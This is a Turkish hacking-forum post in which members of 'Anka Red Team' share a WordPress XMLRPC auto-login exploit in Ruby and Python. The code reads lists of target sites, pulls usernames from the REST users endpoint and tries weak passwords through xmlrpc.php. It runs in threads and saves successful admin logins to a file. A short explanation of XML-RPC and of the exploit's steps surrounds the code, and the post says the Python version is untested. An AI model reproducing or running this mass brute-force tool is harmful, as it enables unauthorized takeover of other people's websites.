XMLRPC Auto Login Exploit! ~ Anka Red Team / AR-GE ~

Carlonhack

Uzman üye
20 Şub 2022
1,288
323
oqk18ir.png


lbn20fm.png
3aj5oxx.png


Merhaba ben Anka Red Team'den Bunjo, bu konuda AR-GE ekibinden @Suppressor ile
Ruby ve Python programlama dillerini kullanarak yazmış olduğumuz WordPress XMLRPC Auto Login Exploitini anlatacağız.


na7otd3.png



XMLRPC Nedir?

XML-RPC (XML Remote Procedure Call), uzaktan prosedür çağrılarını (RPC) XML formatında iletmek için kullanılan bir iletişim protokolüdür.
XML-RPC, istemci ve sunucu arasında veri alışverişi sağlar ve farklı platformlar arasında programlar arası iletişimi kolaylaştırır.

XML-RPC'nin temel özellikleri şunlardır:

XML Tabanlı: Veriler XML formatında gönderilir ve alınır. Bu, verilerin insanlar ve makineler arasında anlaşılabilir olmasını sağlar.

Platform Bağımsız: XML-RPC, farklı programlama dilleri ve platformlar arasında iletişimi kolaylaştırır. Bu sayede birçok farklı sistem birbirleriyle haberleşebilir.

HTTP Protokolü Üzerinde Çalışır: Genellikle XML-RPC çağrıları, HTTP üzerinden iletilir. Bu, web tabanlı uygulamaların ve hizmetlerin XML-RPC aracılığıyla birbirleriyle iletişim kurabilmesini sağlar.

Basit ve Hafif: XML-RPC, basit bir protokol olup, karmaşık veri yapılarına ve yönetimine ihtiyaç duymaz. Bu da uygulamanın hafif olmasını sağlar.

Sunucu ve İstemci: XML-RPC protokolü, sunucu ve istemci arasında iki yönlü iletişimi destekler. İstemci, sunucuya bir RPC çağrısı gönderir ve sunucu da bu çağrıya yanıt verir.

XML-RPC, genellikle dağıtık sistemlerde, özellikle web hizmetleri gibi alanlarda kullanılır. Birçok popüler programlama dilinde XML-RPC istemcileri ve sunucuları bulunmaktadır. Bu sayede, farklı dillerde yazılmış sistemlerin birbiriyle iletişim kurması kolaylaşır.



na7otd3.png


XMLRPC Auto Login Exploit - Ruby
Ruby:
require 'net/http'
require 'uri'
require 'optparse'
require 'eventmachine'
require 'json'

class XMLRPC_WP
  def initialize
    @headers = {
      'Connection' => 'keep-alive',
      'User-Agent' => 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
      'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
      'referer' => 'www.google.com'
    }

    @params = {
      input_file: nil,
      output_file: 'output.txt'
    }

    @threads = []
  end

  def exploit(url_exploit)
    begin
      url = URI.parse(url_exploit)

      http = Net::HTTP.new(url.host, url.port)
      http.use_ssl = (url.scheme == "https")

      request = Net::HTTP::Get.new("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users", @headers)
      response_exploit = http.request(request)

      if response_exploit.body.include?('gravatar.com')
        usernames = JSON.parse(response_exploit.body).map { |user| user['name'] }

        if usernames.any?
          usernames.each do |username|

            pass = [
              username + username, username, username + '123', username + '1234', "admin", "root", "password", "pass"
            ]

            pass.each do |password|
              xmlrpc_payload = <<-XMLRPC
                <methodCall>
                  <methodName>wp.getUsersBlogs</methodName>
                  <params>
                    <param><value>#{username}</value></param>
                    <param><value>#{password}</value></param>
                  </params>
                </methodCall>
              XMLRPC

              begin
                request = Net::HTTP::Post.new("#{url.scheme}://#{url.host}/xmlrpc.php", @headers)
                request.body = xmlrpc_payload

                post_load = http.request(request)

                if post_load.body.include?('blogName')
                  puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Users Found".green)
                  log_checker(url_exploit, username, password)
                else
                  puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: (blogName Not Found)".red)
                  return
                end
              rescue StandardError => err
                puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
              rescue Net::OpenTimeout, Net::ReadTimeout => err
                puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
              end
            end
          end
        else
          puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln (Username Not Found)".red)
        end
      else
        puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln (Gravatar Not Found)".red)
        return
      end
    rescue StandardError => err
      puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
    rescue Net::OpenTimeout, Net::ReadTimeout => err
      puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
    end
  end

  def log_checker(url_check, user, password)
    url = URI.parse(url_check)
    url.path = "/xmlrpc.php"

    http = Net::HTTP.new(url.host, url.port)
    http.use_ssl = (url.scheme == "https")

    request = Net::HTTP::Post.new(url.path)

    request.set_form_data(
      'log' => user,
      'pwd' => password,
      'wp-submit' => 'Log In',
      )

    request['Cookie'] = 'testcookie=1'
    response = http.request(request)

    if response.code == '302'
      if response['location'].include?('admin')
        File.open(@params[:output_file], "a+") do |file|
          file.puts("#{url.scheme}://#{url.host}/wp-login.php##{user}@#{password}")
        end
      end
    else
      puts("#{url.scheme}://#{url.host}/xmlrpc.php --> Not Vuln".red)
    end
  end

  def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby exploit.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
    HELP_TEXT

    puts(help_text.magenta)
  end

  def parse_lines(lines)
    lines.each do |line|
      exploit(line.strip)
    end
  end

  def parser_options
    begin
      OptionParser.new do |parser|
        parser.on("-i", "--input_file INPUT_FILE") do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            STDERR.puts("Not Found: #{input_file}".red)
            exit(1)
          end
        end

        parser.on("-o", "--output_file OUTPUT_FILE") do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => err_parser
      STDERR.puts("Error: #{err_parser}")
    end
  end

  def main
    begin
      unless @params[:input_file].nil?
        lines = File.readlines(@params[:input_file])

        lines.each_slice(20) do |line_group|
          @threads << Thread.new{parse_lines(line_group)}
        end

        @threads.each(&:join)

        puts("Exploit Completed".magenta)
        EM.stop
      else
        print_help
        EM.stop
      end
    rescue StandardError
      return
      EM.stop
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  xmlrpc = XMLRPC_WP.new
  xmlrpc.parser_options
  xmlrpc.main
end



na7otd3.png


XMLRPC Auto Login Exploit - Python
Python:
import http.client
import urllib.parse
import json
import ssl

class XMLRPC_WP:
    def __init__(self):
        self.headers = {
            'Connection': 'keep-alive',
            'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'referer': 'www.google.com'
        }
        self.params = {
            'input_file': None,
            'output_file': 'output.txt'
        }
        self.threads = []

    def exploit(self, url_exploit):
        try:
            url = urllib.parse.urlparse(url_exploit)
            conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context())
            conn.request("GET", f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users", headers=self.headers)
            response_exploit = conn.getresponse()
            data = response_exploit.read().decode('utf-8')

            if 'gravatar.com' in data:
                users = json.loads(data)
                usernames = [user['name'] for user in users]

                if usernames:
                    for username in usernames:
                        passwords = [
                            username + username, username, username + '123', username + '1234', "admin", "root",
                            "password", "pass"
                        ]
                        for password in passwords:
                            xmlrpc_payload = f"""
                                <methodCall>
                                  <methodName>wp.getUsersBlogs</methodName>
                                  <params>
                                    <param><value>{username}</value></param>
                                    <param><value>{password}</value></param>
                                  </params>
                                </methodCall>
                            """

                            try:
                                conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context())
                                conn.request("POST", f"{url.scheme}://{url.hostname}/xmlrpc.php", body=xmlrpc_payload, headers=self.headers)
                                post_load = conn.getresponse()
                                data = post_load.read().decode('utf-8')

                                if 'blogName' in data:
                                    print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Users Found")
                                    self.log_checker(url_exploit, username, password)
                                else:
                                    print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: (blogName Not Found)")
                                    return
                            except Exception as e:
                                print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: {e}")
                else:
                    print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln (Username Not Found)")
            else:
                print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln (Gravatar Not Found)")
                return
        except Exception as e:
            print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: {e}")

    def log_checker(self, url_check, user, password):
        try:
            url = urllib.parse.urlparse(url_check)
            conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context())
            params = urllib.parse.urlencode({'log': user, 'pwd': password, 'wp-submit': 'Log In'})
            headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Cookie": "testcookie=1"}
            conn.request("POST", url.path, params, headers)
            response = conn.getresponse()

            if response.status == 302 or response.status == 200:
                if 'admin' in response.getheader('location'):
                    with open(self.params['output_file'], "a+") as file:
                        file.write(f"{url.scheme}://{url.hostname}/wp-login.php#{user}@{password}\n")
            else:
                print(f"{url.scheme}://{url.hostname}/xmlrpc.php --> Not Vuln")
        except Exception as e:
            print(f"{url.scheme}://{url.hostname}/xmlrpc.php --> Not Vuln: {e}")

    def print_help(self):
        help_text = """
USAGE: python exploit.py [options]

OPTIONS:
  -i, --input_file INPUT
"""
        print(help_text)

if __name__ == "__main__":
    xmlrpc = XMLRPC_WP()
    xmlrpc.print_help()

Python kodu test edilmemiştir.



na7otd3.png


Exploit Açıklaması

Kullanıcıdan "-i" parametresi ile URL listesi alınır.

Alınan bu URL listesi 20'ye bölünür ve satır grupları oluşturulup exploit fonksiyonunu çağıracak olan parçacıklara ayrıştırılır.


Exploit fonksiyonu gelen bu URL'de "/?rest_route=/wp/v2/users" dizinine gider.

Örnek:

MDMDr3G.png


Burada bulunan name: username kısmından username verisi çekilmeye çalışılır.

Username çekilirse programın içine örnek olarak koyulan şifre kombinasyonları ile sitede
bulunan "xmlrpc.php" dosyasına bir post isteği yapılarak kullanıcının yazmış olduğu blog varsa çekilmeye çalışır.

Eğer bir blog çekilirse exploit işlemi başarıyla tamamlanmış olur.

https:/ /site.com/wp-login.php#username@password

şeklinde kullanıcının "-o" parametresi ile vermiş olduğu dosya ismiyle kayıt edilir.


Github adresi.

Okuyan herkese teşekkür ederim.

Eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.